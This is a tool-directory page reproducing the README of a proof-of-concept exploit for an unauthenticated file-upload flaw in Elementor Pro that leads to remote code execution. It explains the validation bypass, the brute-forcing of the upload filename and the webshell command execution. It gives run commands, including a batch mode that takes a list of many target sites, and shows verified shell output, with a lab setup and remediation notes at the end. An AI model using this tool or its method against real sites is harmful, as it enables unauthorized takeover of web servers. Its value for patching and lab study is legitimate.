Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-32475 — Proof-of-concept exploit for CVE-2026-32475, an unauthenticated arbitrary file upload in Elementor Pro leading to remote code execution. Includes automated discovery, upload, and command execution with cleanup. | Kitploit
Tools/GitHubGitHub/sahmsec/cve-2026-32475
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHubsahmsec/cve-2026-32475

CVE-2026-32475

Proof-of-concept exploit for CVE-2026-32475, an unauthenticated arbitrary file upload in Elementor Pro leading to remote code execution. Includes automated discovery, upload, and command execution with cleanup.

View Repository
17h 38m agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-32475 — Elementor Pro ≤ 4.2.1 Unauthenticated Arbitrary File Upload → RCE

PoC for CVE-2026-32475 (CVSS 9.0 Critical, CWE-434): an unauthenticated arbitrary file upload in the Elementor Pro Forms module that leads to remote code execution. Fixed in Elementor Pro 4.2.2 (2026-08-19). Reported by Tin Pham (TF1T) via the Patchstack Bug Bounty program.

root@kitploit:~
  ███████╗  █████╗  ██╗  ██╗ ███╗   ███╗ ███████╗ ███████╗  ██████╗
  ██╔════╝ ██╔══██╗ ██║  ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
  ███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗   ██║
  ╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝   ██║
  ███████║ ██║  ██║ ██║  ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
  ╚══════╝ ╚═╝  ╚═╝ ╚═╝  ╚═╝ ╚═╝     ╚═╝ ╚══════╝ ╚══════╝  ╚═════╝

⚠️ Legal disclaimer

This proof of concept is provided for authorized security research, education, and defensive testing only.

  • You must own the target system or have explicit written permission from the system owner before running this tool against it.
  • Unauthorized access to computer systems is illegal in most jurisdictions (e.g., the Computer Fraud and Abuse Act in the US, the Computer Misuse Act in the UK, and similar laws worldwide) and may carry criminal and civil penalties.
  • The authors and contributors assume for any misuse, damage, or legal consequences arising from the use of this code.
no liability
  • By using this software you agree to use it responsibly and in compliance with all applicable laws.
  • What the vulnerability is

    The File Upload field of Elementor Pro forms processes uploaded entries in two separate loops with different semantics (modules/forms/fields/upload.php):

    root@kitploit:~
    // validation()
    foreach ( $files[$id] as $index => $file ) {
        if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
            return;                    // <-- aborts the WHOLE method
        }
        // is_file_type_valid() ...    // never reached for entry #2
    }
    
    // process_field()
    foreach ( $files[$id] as $index => $file ) {
        if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
            continue;                  // <-- skips only THIS entry
        }
        $filename = uniqid() . '.' . $file_extension;   // attacker-controlled extension
        move_uploaded_file( $file['tmp_name'], $new_file );
    }
    

    Submitting two file parts for the same upload field — an empty first part (filename="" → UPLOAD_ERR_NO_FILE) followed by the .php payload — makes validation() return before the extension blocklist ever sees the payload, while process_field() still moves it into wp-content/uploads/elementor/forms/<uniqid()>.php, a public web directory. Requesting that URL directly = remote code execution.

    The upload is handled by POST /wp-admin/admin-ajax.php (action=elementor_pro_forms_send_form) with no authentication and no nonce. The post_id, form_id and upload field name are visible in the public page HTML, so the whole attack is unauthenticated.

    Requirements

    Target:

    • Elementor Pro ≤ 4.2.1 (all older versions are affected)
    • At least one published page with a Form widget containing a File Upload field
    • The upload field must not be marked as Required (the default state)
    • No CAPTCHA on the form (reCAPTCHA/turnstile blocks the unauthenticated submission)
    • The uploads directory must execute PHP (default on most Apache/cPanel hosting; blocked on some hardened nginx setups)

    Attacker:

    • Python 3.9+ (standard library only — no dependencies)
    • Network access to the target

    Usage

    Single target (auto-discovers the form page via sitemap/homepage):

    root@kitploit:~
    python script.py --url https://target.example --command "id; hostname; uname -a" --cleanup
    

    Explicit form page:

    root@kitploit:~
    python script.py --url https://target.example --page-url https://target.example/contact/ --cleanup
    

    Batch mode (sites.txt: one site per line — base_url or base_url page_url):

    root@kitploit:~
    python script.py --list sites.txt --command "id" --cleanup --out results.json
    

    JSON list format:

    root@kitploit:~
    [{"url": "https://a.example"}, {"url": "https://b.example", "page_url": "https://b.example/jobs/"}]
    

    Execute a command on an already-uploaded shell:

    root@kitploit:~
    python script.py --url https://target.example --shell-url https://target.example/wp-content/uploads/elementor/forms/<name>.php --command "id"
    

    Key options

    FlagDefaultMeaning
    --url-single-target base URL
    --list-batch mode list file
    --page-url--urlpage that contains the form
    --commandid; hostname; uname -acommand to run through the shell
    --cleanupoffself-delete the webshell after testing
    --field k=v-override an auto-filled form field (repeatable)
    --tail0.3seconds before the estimated upload time to fine-sweep
    --step-fine1microsecond step of the fine sweep
    --full-secondoffbrute-force the full uniqid second (defeats clock skew)
    --attempts1upload+sweep attempts (fresh random filename each)
    --max-probes600000sweep request budget per attempt
    --workers50parallel sweep threads
    --insecureoffignore TLS errors (self-signed targets)
    --out file.json-write the report as JSON

    How the tool works

    1. Discovery — fetches the target page (or crawls the sitemap and homepage links, max 20 pages) to find a form with a File Upload field.
    2. Scraping — extracts post_id, form_id, the upload field name and every other form field; auto-fills all fields with plausible values so required fields pass validation (override with --field).
    3. Upload — sends the two-part multipart POST to admin-ajax.php. Note: success:false with an empty errors object is still treated as uploaded, because the default Email action throws after the file move when wp_mail() fails. Only a rejection of the upload field itself (file type is not allowed) counts as blocked.
    4. Filename recovery — uniqid() = 8 hex seconds + 5 hex microseconds. The seconds come from the response Date header; the sub-second fraction is estimated from (t1 - date_epoch) % 1 (accurate when attacker and server clocks are close). A keep-alive prober (~30x faster than one request per connection) sweeps the move window at microsecond resolution; --full-second brute-forces the entire second when clocks skew.
    5. Execution — GET <shell>?c=<command> runs the command; --cleanup deletes the shell via ?x=1.

    Result states

    StatusMeaning
    vulnerableshell uploaded and command executed — patch now
    blockedupload field rejected (patched 4.2.2+, required field, WAF, captcha)
    uploaded_no_execfile landed but filename not recovered (retry with --full-second)
    no_formno vulnerable form found on the target
    errorconnection/network error

    Lab reproduction

    docker-compose.yml + setup_form_page.php reproduce the vulnerable target:

    root@kitploit:~
    docker compose up -d
    docker compose run --rm wpcli wp core install \
        --url=http://localhost:8090 --title="Lab" --skip-email \
        --admin_user=admin --admin_password=admin123! [email protected]
    docker compose run --rm wpcli wp plugin install elementor --activate
    # place your legally obtained elementor-pro.zip (<= 4.2.1) in the project dir, then:
    docker compose exec wordpress bash -c "cd wp-content/plugins && unzip -o /var/www/html/elementor-pro.zip"
    docker compose run --rm wpcli wp plugin activate elementor-pro
    docker cp setup_form_page.php "$(docker compose ps -q wordpress)":/tmp/setup.php
    docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'
    
    python script.py --url http://localhost:8090 --command "id; hostname" --cleanup
    

    Verified output

    root@kitploit:~
    [+] Shell located (attempt 1, stage=fine tail): http://localhost:8090/wp-content/uploads/elementor/forms/6a90b4fee658e.php
    [*] Running command: uname -a
    \nPWN\nLinux fcc317d0e442 6.18.33.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
    [*] Cleaning up (deleting webshell)...
        rm
    

    References

    • Patchstack advisory
    • NVD entry
    • Elementor Pro changelog (4.2.2)

    Remediation

    Update Elementor Pro to 4.2.2+. Updating closes the hole but does not remove shells that were already uploaded — audit wp-content/uploads/elementor/forms/ for stray .php files.


    For authorized security research and lab use only.

    Download Tool